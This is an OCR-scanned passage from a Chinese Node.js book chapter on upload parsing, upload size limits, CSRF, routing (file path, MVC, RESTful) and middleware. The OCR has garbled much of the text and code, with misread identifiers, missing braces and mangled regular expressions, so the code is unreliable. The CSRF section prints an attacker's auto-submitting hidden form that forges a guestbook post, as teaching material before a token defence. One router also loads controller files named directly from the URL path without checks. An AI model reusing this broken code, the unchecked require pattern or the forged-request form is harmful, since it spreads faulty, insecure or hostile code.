--AaBO3x-- 


普通 的 表单 控件 的 报 文体 如 下 所 示 : 


--AaBO3x\r\n 

Content-Disposition: form-data; name="username"\r\n 
\r\n 

Jackson Tian\r\n 


文件 控件 形成 的 报 文 如 下 所 示 : 


--AaBO3x\r\n 
Content-Disposition: form-data; name="file"; filename="diveintonode.js"\r\n 
Content-Type: application/javascript\r\n 
\r\n 
. Contents of diveintonode.js ... 


一 旦 我 们 知晓 报 文 是 如 何 构 成 的 ， 那 么 解析 它 就 变 得 十 分 容易 。 值 得 
注意 的 一 点 是 ， 由 于 是 文件 上 传 ， 那么 像 普 通 表 单 、JSON 或 XML 那 
样 先 接收 内 容 再 解析 的 方式 将 变 得 不 可 接受 。 接 收 大 小 未 知 的 数据 量 
上 时， 我 们 需要 十 分 谍 慎 ， 如 下 所 示 : 


function (req, res) { 
if (hasBody(req)) { 
var done = function () { 
handle(req, res); 


了 
if (mime(req) === 'application/json') { 
parseJSON(req, done); 
} else if (mime(req) === 'application/xml') { 
parseXML(req, done); 
} else if (mime(req) === 'multipart/form-data') { 


parseMultipart(req, done); 


} 
} else { 
handle(req, res); 


这 里 我 们 将 "eq 这 个 流 对 象 直接 交 给 对 应 的 解析 方法 ， 由 解析 方法 自行 
处 理 上 传 的 内 容 ， 或 接收 内 容 并 保存 在 内 存 中 ， 或 流 式 处 理 掉 。 

这 里 要 介绍 到 的 模块 是 rormidable。 它 基于 流 式 处 理解 析 报 文 ， 将 接收 
到 的 文件 写 入 到 系统 的 临时 文件 夹 中 ， 并 返回 对 应 的 路 径 ， 如 下 所 
仆 \: 


var formidable = require('formidable'); 
function (req, res) { 
if (hasBody(req)) { 
if (mime(req) === 'multipart/form-data') { 
var form = new formidable.IncomingForm(); 
form.parse(req, function(err, fields, files) { 
req.body = fields; 
req.files = files; 
handle(req, res); 


}); 


} else { 
handle(req, res); 
} 
} 


因此 在 业务 逻辑 中 只 要 检查 -eq.body 和 req.files 中 的 内 容 即 可 多 

8.2.4 数据 上 传 与 安全 

Node 提 供 了 相对 底层 的 API， 通 过 它 构建 各 种 各 样 的 Web 应 用 都 是 相 
对 容易 的 ， 但 是 在 Web 应 用 中 ， 不 得 不 重视 与 数据 上 传 相关 的 安全 问 
题 。 由 于 Node 与 前 端 JavaScript 的 近 缘 性 ， 前 端 JavaScript 甚 至 可 以 上 传 
到 服务 需 直 接 执 行 ， 但 在 这 里 我 们 并 不 讨论 这 样 危 险 的 动作 ， 而 是 介 
绍 内 存 和 CSRF 相 关 的 安全 问题 。 


1. 内 存 限 制 

在 解析 表单 、JSON 和 XML 部 分 ， 我 们 采取 的 策略 是 先 保存 

用 户 提 交 的 所 有 数据 ， 然 后 再 解析 处 理 ， 最 后 才 传 递 给 业务 

逻辑 。 这 种 策略 存在 潜在 的 问题 是 ， 它 仅仅 适合 数据 量 小 的 

提交 请 求 ， 一 旦 数据 量 过 大 ， 将 发 生 内 存 被 占 光 的 情况 。 攻 

击 者 通过 客户 端 能 够 十 分 容易 地 模拟 伪造 大 量 数据 ， 如 果 攻 

击 者 每 次 提交 1 MB 的 内 容 ， 那 么 只 要 并 发 请 求 数 量 一 大 ， 内 

存 就 会 很 快 地 被 吃 光 。 

要 解决 这 个 问题 主要 有 两 个 方案 。 

o 限制 上 传 内 容 的 大 小 ， 一 旦 超过 限制 ， 停 止 接收 数据 ， 
并 响应 400 状 态 码 。 


O 


通过 流 式 解析 ， 将 数据 流 导 同 到 磁盘 中 ，Node 只 保留 文 
件 路 径 等 小 数据 。 
流 式 处 理 在 上 文 的 文件 上 传 中 已 经 有 所 体现 ， 这 里 介绍 一 下 
Connect 中 采用 的 上 传 数 据 量 的 限制 方式 ， 如 下 所 示 : 


Var bytes = 1024; 


function (req, res) { 
Var received = 0, 
Var len = redq.headers['content- 
length'] ? parseInt(req.headers['content-length'], 10) : null; 


// 如 果 内 容 超 过 长 度 限制 ， 返 回 请 求实 体 过 长 的 状态 码 
if (len && len > bytes) { 
res.writeHead(413); 
res.end(); 
return; 


// limit 
req.on('data', function (chunk) { 
received += chunk.length,; 
if (received > bytes) { 
// 停止 接收 数据 ， 和 触发 end( ) 
req.destroy( ) ; 


} 
}); 


handle(req, res); 


从 上 面 的 代码 中 我 们 可 以 看 到 ， 数 据 是 由 包含 content-tength 的 
请 求 报 文 判断 是 否 长 度 超过 限制 的 ， 超 过 则 直接 啊 应 413 状 态 
码 9 对 于 没有 content-Length 的 请 求 报 文 ， 略微 人 简 上 略 一 点 ， 在 每 
个 gata 事 件 中 判定 即 可 。 一 旦 超过 限制 值 ， 服 务 絮 停止 接收 新 
的 数据 片段 。 如 果 是 JSON 文 件 或 XML 文件 ， 极 有 可 能 无 法 
完成 解析 。 对 于 上 线 的 Web 应 用 ， 添 加 一 个 上 传 大 小 限制 十 
分 有 利于 保护 服务 妖 ， 在 遭遇 攻击 时 ， 能 镇 定 从 容 应 对 。 
CSRF 

CSRF 的 全 称 是 Cross-Site Request Forgery， 中 文 意思 为 跨 站 请 
求 仿 造 。 前 文 提 及 了 服务 器 端 与 客户 端 通 过 Cookie 来 标识 和 
认证 用 户 ， 通 常 而 言 ， 用 户 通 过 浏览 更 访问 服务 器 端的 
Session ID 是 无 法 被 第 三 方 知道 的 ， 但 是 CSRF 的 攻击 者 并 不 
需要 知道 Session ID 残 能 让 用 户 中 招 。 

为 了 详细 解释 CSRF 攻 击 是 怎样 一 个 过 程 ， 这 里 以 一 个 留言 的 
例子 来 说 明 。 假 设 某 个 网 站 有 这 样 一 个 留言 程序 ， 提 交 留 言 
的 接口 如 下 所 示 : 


http://domain_a.com/guestbook 


用 户 通 过 POST 提交 content 字 段 吏 能 成 功 留 言 。 服 务 顺 端 会 目 
动 从 Session 数 据 中 判断 是 谁 提交 的 数据 ， 补 足 usernane 和 
updatedat 两 个 字段 后 同 数 据 库 中 写 入 数据 ， 如 下 所 示 : 


function (req, res) { 
var content = req.body.content || ''; 
var Username = redq.session,.username; 
Var feedback = { 
username: username, 
content: content, 
updatedAt: Date.now() 


了 
db.save(feedback, function (err) { 
res.writeHead(200); 
res.end('Ok'); 
}); 
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正常 的 情况 下 ， 谁 提交 的 留言 ， 就 会 在 列表 中 显示 谁 的 信 
上 生 。 如 采 某 个 攻击 者 发 现 了 这 里 的 接口 存在 CSRF 漏 洞 ， 那 么 
他 就 可 以 在 男 一 个 网 站 (http:W/domain b.conyattack) 上 构造 
了 一 个 表单 提交 ， 如 下 所 示 : 


<form id="test" method="POST" action="http://domain a.com/guestbook"> 
<input type="hidden" name="content" value="vim 是 这 个 世界 上 最 好 的 编辑 器 " /> 
</form> 
<script type="text/javascript"> 
$(function () { 
$("#test").submit(); 
} > 


</script> 


这 种 情况 下 ， 攻 击 者 只 要 引诱 某 个 donain_ a 的 登录 用 户 访 问 这 
个 aonein_b 的 网 站 ， 就 会 自动 提交 一 个 留言 。 由 于 在 提交 到 
domain a 的 过 程 中 浏 览 To 会 将 domain a 的 Cookie 发 运 到 服 务 
器 ， 尽 管 这 个 请 求 是 来 自 donain bv 的 ， 但 是 服务 器 并 不 知情 ， 
用 户 也 不 知情 。 

以 上 过 程 束 是 一 个 CSRF 攻 击 的 过 程 。 这 里 的 示例 仅仅 是 一 个 
留言 的 漏洞 ， 如 果 出 现 漏洞 的 是 转账 的 接口 ， 那 么 其 危害 程 
度 可 想 而 知 。 

尽管 通过 Node 接 收 数据 提交 十 分 容易 ， 但 是 安全 问题 还 是 不 
容 忽 视 。 好 在 CSRF 并 非 不 可 防御 ， 解 决 CSRF 攻 击 的 方案 有 
添加 随机 值 的 方式 ， 如 下 所 示 : 


var generateRandom = function(len) { 
return crypto.randomBytes(Math.ceil(len * 3 / 4)) 
‘toString('base64') 


Slice(0, len); 
也 就 是 说 ， 为 每 个 请 求 的 用 户 ， 在 Session 中 赋予 一 个 随机 
值 ， 如 下 所 示 : 


var token = req.session. csrf || (req.session._ csrf = generateRandom(24)) 


了 


在 做 页 面 泻 染 的 过 程 中 ， 将 这 个 _csrf 值 告 之 前 端 ， 如 下 所 
AN? 


<form id="test" method="POST" action="http://domain a.com/guestbook"> 
<input type="hidden" name="content" value="vim 是 这 个 世界 上 最 好 的 编辑 器 " /> 
<input type="hidden" name="_csrf" value="<%=_csrf%>" /> 

</form> 


由 于 该 值 古 一 个 随机 值 ， 攻 击 者 构造 出 相同 的 随机 值 的 难度 
相当 大 ， 所 以 我 们 只 需要 在 接收 端 做 一 次 校 验 束 能 轻易 地 识 
别 出 该 请 求 是 否 为 伪造 的 ， 如 下 所 示 : 


function (req, res) { 
var token = req.session. csrf || (req.session. csrf = generateRandom(24 


)); 


var _csrf = req.body._csrf; 

if (token !== _csrf) { 
res.writeHead(403); 
res.end(" 禁 止 访问 ")， 

} else { 
handle(req, res); 


} 


_csrf 字 段 也 可 以 存在 于 查询 字符 串 或 者 请 求 头 中 。 


8.3 ”路 由 解析 

前 文 讲 述 了 许多 Web 请 求 过 程 中 的 预 处 理 过 程 ， 对 于 不 同 的 业务 ， 我 
们 还 是 期 望 有 不 同 的 处 理 方式 ， 这 带 来 了 路 由 的 选择 问题 。 本 节 将 会 
介绍 文件 路 径 、MVC、RESTful 等 路 由 方式 。 

8.3.1 ”文件 路 径 型 


1. 


8.3.2 


静态 文件 

这 种 方式 的 路 由 在 路 径 解析 的 部 分 有 过 人 简单 描述 ， 其 让 人 和 登 
服 的 地 方 在 于 URL 的 路 径 与 网 站 目录 的 路 径 一 致 ， 无 须 转 
换 ， 非 常 直观 。 这 种 路 由 的 处 理 方式 也 十 分 简单 ， 将 请 求 路 
径 对 应 的 文件 发 送 给 客户 端 即 可 。 这 在 前 文 路 径 解析 部 分 有 
介绍 ， 不 再 重复 。 

动态 文件 

在 MVC 模 式 流行 起 来 之 前 ， 根 据 文件 路 径 执行 动态 脚本 也 是 
基本 的 路 由 方式 ， 它 的 处 理 原理 是 Web 服 务 器 根据 URL 路 径 
找到 对 应 的 文件 ， 如 /index.asp 或 /index.php。Web 服 务 器 根据 
0 并 传 入 HTTP 请 求 的 上 下 


以 下 是 Apache 中 配置 PHP 支 持 的 方式 : 


AddType application/x-httpd-php .php 


解析 器 执行 脚本 ， 并 输出 啊 应 报 文 ， 达 到 完成 服务 的 上 日 的 。 
现今 大 多 数 的 服务 器 都 能 很 智能 地 根据 后 绥 同 时 服务 动态 和 
静态 文件 。 这 种 方式 在 Node 中 不 太 常 见 ， 主 要 原因 是 文件 的 
后 绥 都 是 js， 分 不 清 是 后 端 脚本 ， 还 是 前 端 脚本 ， 这 可 不 是 
什么 好 的 设计 。 而 且 Node 中 Web 服 务 器 与 应 用 业务 脚本 是 一 
体 的， 无 须 按 这 种 方式 实现 。 


MVC 


在 MVC 流 行 之 前 ， 主 流 的 处 理 方式 都 是 通过 文件 路 径 进行 处 理 的 ， 其 
至 以 为 古 和 常态 。 直 到 有 一 天 开发 者 发 现 用 户 请 求 的 URL 路 径 原 来 可 以 
跟 具 体 脚本 所 在 的 路 径 没有 任何 关系 。 

MYVC 模 型 的 主要 思想 是 将 业务 逻辑 按 职责 分 离 ， 主 要 分 为 以 下 几 种 。 


。 控制 器 (Controller) ， 一 组 行为 的 集合 。 
。 模型 (Model) ， 数 据 相 关 的 操作 和 封装 。 
视图 (View) ， 视 图 的 泻 染 。 


这 是 目前 最 为 经 典 的 分 层 模 式 (如 图 8-3 所 示 ) ， 大 致 而 言 ， 它 的 工作 
模式 如 下 说 明 。 


。 路 由 解析 ， 根 据 URL 导 找到 对 应 的 控制 硕 和 行为 。 
。 行为 调用 相关 的 模型 ， 进 行 数据 操作 。 
。 数据 操作 结束 后 ， 调 用 视图 和 相关 数据 进行 页 面 演 染 ， 输 出 
到 客户 端 。 
控制 器 如 何 调用 模型 和 如 何 渔 染 页 面 ， 各 种 实现 都 大 同 小 寞 ， 我 们 在 
后 续 章 下 中 再 展开 ， 此 处 暂且 略 过 。 如 何 根据 URL 做 路 由 映射 ， 这 里 
有 两 个 分 支 实现 。 一 种 方式 是 通过 手工 关联 映射 ， 一 种 是 目 然 天 联 映 


味 。 前 者 会 有 一 个 对 应 的 路 由 文件 来 将 URL 映 射 到 对 应 的 控制 右 ， 后 
者 没有 这 样 的 文件 。 


Router Controller 
(Action) 


图 8-3 “分 层 模式 


1. 手工 映射 


手工 映射 除了 需要 于 工 配置 路 由 外 较为 原始 外 ， 它 对 URL 的 
要 求 十 分 灵活 ， 几 乎 没有 格式 上 的 限制 。 如 下 的 URL 格 式 都 


能 目 由 映射 : 


/user/setting 
/setting/user 


0 
pa 


exports.setting = function (req, res) { 
// TODO 


}; 


再 添加 一 个 映射 的 方法 就 行为 了 方便 后 续 的 行文 ， 这 个 方 
法 名 叫 use()， 如 下 所 示 : 


var routes = []; 


var use = function (path, action) { 
routes.push([path, action]); 


了 


我 们 在 入 口 程序 中 判断 URL ， 然 后 执行 对 应 的 逻辑 ， 于 是 就 
完成 了 基本 的 路 由 映射 过 程 ， 如 下 所 示 : 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
for (var i = 0; i < routes.Jength; i++) { 
var route = routes[i]; 
If (pathname === route[0]) { 
var action = route[1]; 
action(req, res); 
return; 


} 


} 

// 处 理 404 请 求 

handle404(req, res); 
} 


手工 映射 十 分 方便 ， 由 于 它 对 URL 十 分 灵活 ， 所 以 我 们 可 以 
将 两 个 路 径 剖 映射 到 相同 的 业务 逻辑 ， 如 下 所 示 : 


use('/user/setting', exports,.setting); 
use('/setting/user', exports.setting); 
// 长 全 
use('/setting/user/jacksontian', exports.setting); 


正则 匹配 
对 于 人 简单 的 路 径 ， 采 用 上 述 的 硬 匹 配方 式 即 可 ， 但 是 如 
下 的 路 径 请 求 束 完全 无 法 满足 需求 了 : 


/profile/jacksontian 
/profile/hoover 


这 些 请 求 需 要 根据 不 同 的 用 户 显示 不 同 的 内 容 ， 这 里 只 
有 两 个 用 户 ， 假 如 系统 中 存在 成 千 上 万 个 用 户 ， 我 们 丈 
不 太 可 能 去 手工 维护 所 有 用 户 的 路 由 请 求 ， 因 此 正则 匹 
ES 


use('/profile/:username', function (req, res) { 
// TODO 


}); 


于 是 我 们 改进 我 们 的 匹配 方式 ， 在 通过 use 注 册 路 由 时 需 
要 将 路 径 续 换 为 一 个 正则 表达 式 ， 然 后 通过 它 来 进行 
6， 如 下 所 示 ; 


var pathRegexp = function(path) { 
path = path 
:CONCat (Stiret 2 3 RY) 
‘replace(/\/\(/g, '(?:/" 
.replace(/(\/)?(\.)?:(\WWw+)(?:(\(.*?\)))?(\?)? 
(\*)?/g, function(_, slash, format, key, capture, optional, star)t{ 
slash = slash || "''，; 
return " 
+ (optional ? '' : slash) 
站 CP 
+ (optional ? slash : '') 
+ (format || '') + (capture || (format && '([^/.]+?)" || "(I[ 
A 
+ (optional || '') 
+ (Star 9 (EIT BE 


}) 
.replace(/([\/.])/g, '\\$1') 
.replace(/\*/g, '(.*)'); 

return new RegExp('^' + path + '$'); 


} 


上 壕 正 则 表达 式 十 分 复杂 ， 总 体 而 言 ， 它 能 实现 如 下 的 
匹配 : 


/profile/:username => /profile/jacksontian, /profile/hoover 
/user.:ext => /user.xml, /user.json 


现在 我 们 重新 改进 注册 部 分 : 
var use = function (path, action) { 


routes.push([pathRegexp(path), action]); 


了 


以 及 匹配 部 分 : 
function (req, res) { 
var pathname = url.parse(req.url).pathname; 
for (var i = 0; i < routes.Jength; i++) { 
var route = routes[i]; 
// 正则 匹配 
If (route[0].exec(pathname)) { 


var action = route[1]; 
action(req, res); 
return; 


} 


} 

// 处 理 404 请 求 

handle404(req, res); 
} 


现在 我 们 的 路 由 功能 就 能 够 实现 正则 匹配 了 ， 无 须 再 为 
大 量 的 用 户 进行 手工 路 由 映射 了 。 

参数 解析 

尽管 完成 了 正则 匹配 ， 可 以 实现 相似 URL 的 匹配 ， 但 
是 5isernaies 到 底 匹 配 了 哈 ， 还 没有 解决 四 为 此 我 们 还 需要 
进一步 将 匹配 到 的 内 容 抽取 出 来 ， 和 希望 在 业务 中 能 如 下 
这 样 调用 : 

use('/profile/:username', function (req, res) { 


Var USername = red.params.username, 
// TODO 


}); 
这 里 的 目标 是 将 抽取 的 内 容 设置 到 req.params 处 。 那 么 第 
一 步 束 是 将 键 值 抽 取出 来 ， 如 下 所 示 : 


var pathRegexp = function(path) { 
var keys = [1]; 


path = path 
:Concat(strict ?5 /2 ) 
‘replace(/\/\(/g, '(?:/') 
.replace(/(\/)?(\.)?:(\Ww+)(?:(\(.*?\)))?(\?)? 
(\*)?/g, function(_, slash, format, key, capture, 

optional, star)t{ 
// 将 匹配 到 的 键 值 保存 起 来 
keys.push(key); 


slash = slash || ''; 
return "' 
+ (optional ? '' :; slash) 
生 "CDE 
+ (optional ? slash : '') 
+ (format || '') + (capture || (format && '([^/.]+?)" || "(I[ 
人 二 人 
+ (optional || '') 
上 EBP 0 


}) 
replace(/([\/.])/g, '\\$1') 
‘replace(/\*/g, '(.*)'); 


return { 
keys: keys, 
regexp: new RegExp('^' + path + '$') 


了 


2 


和 
实际 值 ， 并 设置 到 -eq.parans 处 ， 如 下 所 示 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
for (var i = 0; i < routes.length; i++) { 
var route = routes[i]; 
// 正则 匹配 
var reg = route[0].regexp; 
var keys = route[0].Kkeys,; 
var matched = reg.exec(pathname); 
if (matched) { 
// 抽取 具体 什 
var params = {}; 
for (var i = 0, 1 = keys.length; i < 1; i++) { 
var value = matched[i + 1]; 
if (value) { 
params[keys[i]] = value; 


} 


redq.params = params; 


var action = route[1]; 
action(req, res); 
return; 
} 
} 
// 处 理 404 请 求 
handle404(req, res); 


至 此 ， 我 们 除了 从 查询 字符 囊 (req.query) 或 提交 数据 
(req.body) 中 取 到 值 外 ， 还 能 从 路 径 的 映射 里 取 到 值 。 


自然 映射 


手工 映射 的 优 扎 在 于 路 径 可 以 很 灵活 ， 但 是 如 有 果 项 目 较 六 ， 
路 由 映射 的 数量 也 会 很 多 。 从 前 端 路 径 到 具体 的 控制 妖 文 
件 ， 需 要 进行 查阅 才能 定位 到 实际 代码 的 位 置 ， 为 此 有 人 提 
出 ， 尽 是 路 由 不 如 无 路 由 。 实 际 上 并 非 没 有 路 由 ， 而 是 路 由 
站 而 无 须 去 维护 路 


上 文 的 路 径 解 析 部 分 对 这 种 自然 映射 的 实现 有 稍 许 介绍 ， 简 
单 而 言 ， 它 将 如 下 路 径 进 行 了 划分 处 理 : 


/controller/action/parami/param2/param3 


以 /user/setting/12/1987 为 例 ， 它 会 按 约定 去 找 controllers 目 录 
下 的 user 文 件 ， 将 其 require 出 来 后 ， 调 用 这 个 文件 模块 的 
setting() 方 法 ， 而 其 余 的 值 作为 参数 直接 传递 给 这 个 方法 。 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
var paths = pathname.split('/'); 
var controller = paths[1] || 'index'; 
var action = paths[2] || 'index'; 
var args = paths.slice(3); 
Var module,; 
try { 
// reduire 的 缓存 机 制 使 得 只 有 第 一 次 是 阻塞 的 
module = require('./controllers/' + controller); 
catch (ex) { 
handles500(req, res); 
return; 


ww 


var method = module[action] 
If (method) { 

method.apply(null, [req, res].concat(args)); 
} else 

handle5s00(req, res); 


} 


由 于 这 种 目 然 映 射 的 方式 没有 指明 参数 的 名 称 ， 所 以 无 法 采 
me 
ZI 


exports.setting = function (req, res, month, year) { 
// 如 果 路 径 为 /user/setting/12/1987， 那么 month 为 122，year 为 1987 
// TODO 

}; 


事实 上 手工 映射 也 能 将 值 作为 参数 进行 传递 ， 而 不 是 通过 
req.parans。 但 是 这 个 观点 见仁见智 ， 这 里 不 做 比较 和 讨论 。 

自然 映射 这 种 路 由 方式 在 PHP 的 MVC 框 架 CodeIgniter 中 应 用 
十 分 广泛 ， 设 计 十 分 简洁 ， 在 Node 中 实现 它 也 十 分 容易 。 与 
手工 映射 相 比 ， 如 果 URL 变 动 ， 它 的 文件 也 需要 发 生变 动 ， 
手工 映射 只 需要 改动 路 由 映射 即 可 。 


8.3.3 RESTful 

MVC 模 式 大 行 其 道 了 很 多 年 ， 直 到 RESTful 的 流行 ， 大 家 才 意 识 到 
URL 也 可 以 设计 得 很 规范 ， 请 求 方法 也 能 作为 逻辑 分 发 的 单元 。 
REST 的 全 称 是 Representational State Transfer， 中 文 含义 为 表现 层 状态 
转化 。 符 合 REST 规 范 的 设计 ， 我 们 称 为 RESTfu 设 计 。 它 的 设计 哲学 
主要 将 服务 器 端 提 供 的 内 容 实体 看 作 一 个 资源 ， 并 表现 在 URL 上 。 
比如 一 个 用 户 的 地 址 如 下 所 示 : 


/users/jacksontian 


这 个 地 址 代表 了 一 个 资源 ， 对 这 个 资源 的 操作 ， 主 要 体现 在 HTTP 请 求 
方法 上 ， 不 是 体现 在 URL 上 “。 过 去 我 们 对 用 户 的 增删 改 查 或 许 是 如 下 
这 样 设计 URL 的 : 

POST /user/add?username=jacksontian 

GET /user/remove?username=jacksontian 


POST /user/update?username=jacksontian 
GET /user/get?username=jacksontian 


操作 行为 主要 体现 在 行为 上 ， 主要 使 用 的 请 求 方法 是 post 和 Ger 和 在 
RESTful 设 计 中 ， 它 是 如 下 这 样 的 : 


POST /user/jacksontian 
DELETE /user/jacksontian 
PUT /user/jacksontian 
GET /user/jacksontian 


加 将 oerere 和 mur 请 求 方法 引入 设计 中 ， 参与 资源 的 操作 和 更 改 资 源 的 状 
对 于 这 个 资源 的 具体 表现 形态 ， 也 不 再 如 过 去 一 样 表现 在 URL 的 文件 
后 缀 上 “。 过 去 设计 资源 的 格式 与 后 缀 有 很 大 的 关联 ， 例 如 : 


GET /user/jacksontian.json 
GET /user/jacksontian.xml 


在 RESTful 设 计 中 ， 资 源 的 具体 格式 由 请 求 报头 中 的 Acecept 字 段 和 服务 
右 端 的 文 持 情 况 来 决定 。 如 果 客 户 端 同时 接受 JSON 和 XML 格式 的 别 
应 ， 那 么 它 的 accept 字 段 值 是 如 下 这 样 的 : 


Accept: application/json,application/xml 


笔 谱 的 服务 器 端 应 该 要 顾及 这 个 字段 ， 然 后 根据 自己 能 啊 应 的 格式 做 
和 通过 content-Type 字 段 告 知客 户 端 是 什么 格式 ， 
中 站 EE 


Content -Type: application/json 


具体 格式 ， 我 们 称 之 为 具体 的 表现 。 所 以 REST 的 设计 就 是 ， 通 过 URL 
本 、 请求 方法 定义 资源 的 操作 ， 通 过 nccept 决 定 资源 的 表现 形 
Ss 

RESTful 与 MVC 设 计 并 不 冲突 ， 而 且 是 更 好 的 改进 。 相 比 MVC， 
RESTful 只 是 将 HTTP 请 求 方法 也 加 入 了 路 由 的 过 程 ， 以 及 在 URL 路 径 
上 体现 得 更 资源 化 。 


。 请 求 方法 


为 了 让 Node 能 够 支持 RESTful 需 求 ， 我 们 改进 了 我 们 的 设 
计 。 如 果 use 是 对 所 有 请 求 方法 的 处 理 ， 那 么 在 RESTful 的 场 
景 下 ， 我 们 需要 区 分 请 求 方法 设计 。 示 例如 下 所 示 : 

var routes = {'all': []}; 


var app = {}; 
app.use = function (path, action) { 
routes.all.push([pathRegexp(path), action]); 


}; 


['get', 'put', 'delete', 'post'].forEach(function (method) { 
routers[method]=[]; 
app[method] = function (path, action) { 
routes[method].push([pathRegexp(path), action]); 
}; 
}); 


上 面 的 代码 添加 了 get()、put()、delete()、post()4 个 方法 后 ， 我 
们 希望 通过 如 下 的 方式 完成 路 由 映射 : 


// 增加 用 户 
app.post('/user/:username', addUser); 
// 删除 用 户 


app.delete('/user/:username', removeUser ) ; 
[eel 


app.put('/user/:username', updateUser); 
// 查询 用 户 
app.get('/user/:username', getUser); 


这 样 的 路 由 能 够 识别 请 求 方法 ， 并 将 业务 进行 分 发 。 为 了 让 
I 我 们 先 将 匹配 的 部 分 抽取 为 natcn() 方 法 ， 如 
个: 


var match = function (pathname, routes) { 
for (var i = 0; i < routes. length， i++) { 
var route = routes[i]; 
// 正则 匹配 
var reg = route[0].regexp; 
var keys = route[0].Kkeys; 
var matched = reg.exec(pathname ) ， 
if (matched) { 
// 抽取 有 具体 值 
var params = {}; 
for (var i = 0, 1 = keys.length; i < 1; i++) { 
var value = matched[i + 1]; 
if (value) { 
params[keys[i]] = value; 


redq.params = params; 


var action = route[1]; 
action(req, res); 
return true; 


return false， 


了 


然后 改进 我 们 的 分 发 部 分 ， 如 下 所 示 : 


function (req, res) { 
var pathname = url.parse(req.url).pathname; 
// 将 请 求 方法 变 为 小 写 
var method = red,method.toLowerCase( ) ; 
if (routes.hasOwnPerperty(method)) { 
// 根据 请 求 方法 分 发 
if (match(pathname, routes[method])) { 
return; 
} else { 
// 如 果 路 径 没有 匹配 成 功 ， 尝 试 让 a11( ) 来 处 理 
if (match(pathname, routes.all)) { 
return; 


} 


} 
} else { 
// 直接 让 al1() 来 处 理 
if (match(pathname, routes.all)) { 
return; 


} 


} 
// 处 理 404 请 求 
handle404(req, res); 


如 此 ， 我 们 完成 了 实现 RESTful 支 持 的 必要 和 条件。 这 里 的 实 
现 过 程 采 用 了 手工 映射 的 方法 完成 ， 事 实 上 通过 目 然 映 射 也 
能 完成 RESTful 的 支持 ， 但 是 根据 controllervAction 的 约定 必须 
要 转化 为 ResourceyMethod 的 约定 ， 此 处 已 经 引出 实现 思路 ， 不 再 
详 述 。 

目前 RESTful 应 用 已 经 开始 广泛 起 来 ， 随 着 业务 逻辑 前 端 
化 、 客 户 端 的 多 样 化 ，RESTful 模 式 以 其 轻 量 的 设计 ， 得 到 
广大 开发 者 的 青睐 。 对 于 多 数 的 应 用 而 言 ， 只 需要 构建 一 套 
i 


8.4 中 间 件 
片段 式 地 接触 完 Web 应 用 的 基础 功能 和 路 由 功能 后 ， 我 们 发 现 从 啊 应 
Hello wor1d 的 示例 代码 到 实际 的 项 目 ， 其 实 有 太 多 下 雄 的 细 市 工作 要 完 
>， 上 述 内 容 只 是 介绍 了 主要 的 部 分 。 对 于 Web 应 用 而 言 ， 我 们 希望 
不 用 接触 到 这 么 多 细 市 性 的 处 理 ， 为 此 我 们 引入 中 间 件 
(middleware) 来 简化 和 隔离 这 些 基础 设施 与 业务 逻辑 之 间 的 细 市 ， 
让 开发 者 能 够 关注 在 业务 的 开发 上 ， 以 达到 提升 开发 效率 的 目的 。 
在 最 持 的 中 间 件 的 定义 中 ， 它 是 一 种 在 操作 系统 上 为 应 用 软件 提供 服 
务 的 计算 机 软件 。 它 既 不 是 操作 系统 的 一 部 分 ， 也 不 是 应 用 软件 的 一 
部 分 ， 它 处 于 操作 系统 与 应 用 软件 之 间 ， 让 应 用 软件 更 好 、 更 方便 地 
使 用 确 层 服 务 。 如 今 中 间 件 的 含义 借 指 了 这 种 封 麦 底层 细 和 ， 为 上 层 
提供 更 方便 服务 的 意义 ， 并 非 限定 在 操作 系统 层面 。 这 里 要 提 到 的 中 
间 件 ， 就 古 为 我 们 封 狼 上 文 提 及 的 所 有 HTTP 请 求 细 方 处 理 的 中 间 件 ， 
开发 者 可 以 脱离 这 部 分 细节 ， 专 注 在 业务 上 。 
中 间 件 的 行为 比较 类 似 Java 中 过 滤器 (filter) 的 工作 原理 ， 就 是 在 进 
入 具体 的 业务 处 理 之 前 ， 先 让 过 滤器 处 理 。 它 的 工作 模型 如 图 8-4 所 
不 °5 
如 同 图 8-4 所 示 ， 从 HTTP 请 求 到 具体 业务 逻辑 之 间 ， 其 实 有 很 多 的 细 
节 要 处 理 。Node 的 nttp 模 块 提供 了 应 用 层 协议 网 络 的 封 流 ， 对 具体 业 
务 并 没有 文 择 ， 在 业务 逻辑 之 下 ， 必 须 有 开发 框架 对 业务 提供 文 持 。 
这 里 我 们 通过 中 间 件 的 形式 搭建 开发 框架 ， 这 个 开发 框架 用 来 组 织 
个 中 间 件 。 对 于 Web 应 用 的 各 种 基础 功能 ， 我 们 通过 中 间 件 来 完成 ， 
每 个 中 间 件 处 理 挥 相对 简单 的 逻辑 ， 最 终 汇 成 强大 的 基础 框 染 。 
由 于 中 间 件 整 是 前 述 的 那些 基本 功能 ， 所 以 它 的 上 下 文 也 束 是 请 求 对 
象 和 啊 应 对 象 ，req 和 res。 有 一 点 区 别 的 是 ， 由 于 Node 寞 步 的 原因 ， 我 
们 需要 提供 一 种 机 制 ， 在 当前 中 间 件 处 理 完成 后 ， 通 知 下 一 个 中 间 件 
执行 。 在 第 4 章 中 其 实 已 经 对 中 间 件 做 了 介绍 ， 这 里 我 们 还 是 采用 
Connect 的 设计 ， 通 过 尾 触发 的 方式 实现 。 一 个 基本 的 中 间 件 会 是 如 下 
的 形 却 : 

var middleware = function (req, res, next) { 


// TODO 
next(); 


访问 日 志 


图 8-4 ”中间 件 的 工作 模型 
按照 预期 的 设计 ， 我 们 为 具体 的 业务 逻辑 添加 中 间 件 应 该 古 很 轻松 的 
事情 ， 通 过 框架 文 持 ， 能 够 将 所 有 的 基础 功能 支持 串联 起 来 ， 如 下 所 


pa 


app.use('/user/:username', querystring, cookie, session, function (req, res) { 
// TODO 
}); 


这 里 的 querystring 、 cookie 、 session 中 间 件 与 前 文 描述 的 功能 大 同 小 异 如 
下 所 示 : 


// querystring 解 析 中 间 件 

var querystring = function (req, res, next) { 
req.query = url.parse(req.url, true).dquery; 
next(); 


}; 
// cookie 解 析 中 间 件 
var cookie = function (req, res, next) { 
Var cookie = req.headers.cookie; 
Var cookies = {}; 
if (cookie) { 
var list = cookie.split(';'); 
for (var i = 0; i < list.length; i++) { 
var pair = list[i].split('="); 


cookies[pair[0].trim()] = pair[1]; 
3 


redq.cookies = cookies,; 
next(); 


}; 


可 以 看 到 这 里 的 中 间 件 都 是 十 分 简洁 的 ， 接 下 来 我 们 需要 组 织 起 这 些 
